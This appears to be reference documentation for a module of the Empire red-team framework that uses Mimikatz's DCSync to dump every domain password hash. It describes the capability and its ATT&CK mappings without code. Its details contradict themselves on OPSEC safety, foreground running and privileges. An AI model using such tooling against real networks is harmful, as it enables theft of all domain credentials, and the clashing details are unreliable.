Module Overview

---

Name: Invoke-Mimikatz DCsync - Full Hashdump
Module: powershell/credentials/mimikatz/dcsync_hashdump
Source code [1]: empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.yaml
Source code [2]: empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py
MITRE ATT&CK: T1098, T1003, T1081, T1207, T1075, T1097, T1145, T1101, T1178, S0002
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: Yes

The dcsync_hashdump module runs PowerSploit's Invoke-Mimikatz function to collect all domain hashes using Mimikatz'slsadump::dcsync module. This doesn't need code execution on a given DC, but needs to be run froma user context with DA equivalent privileges.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the dcsync_hashdump module does not need administrative privileges to work properly which means that a normal user can run this module.
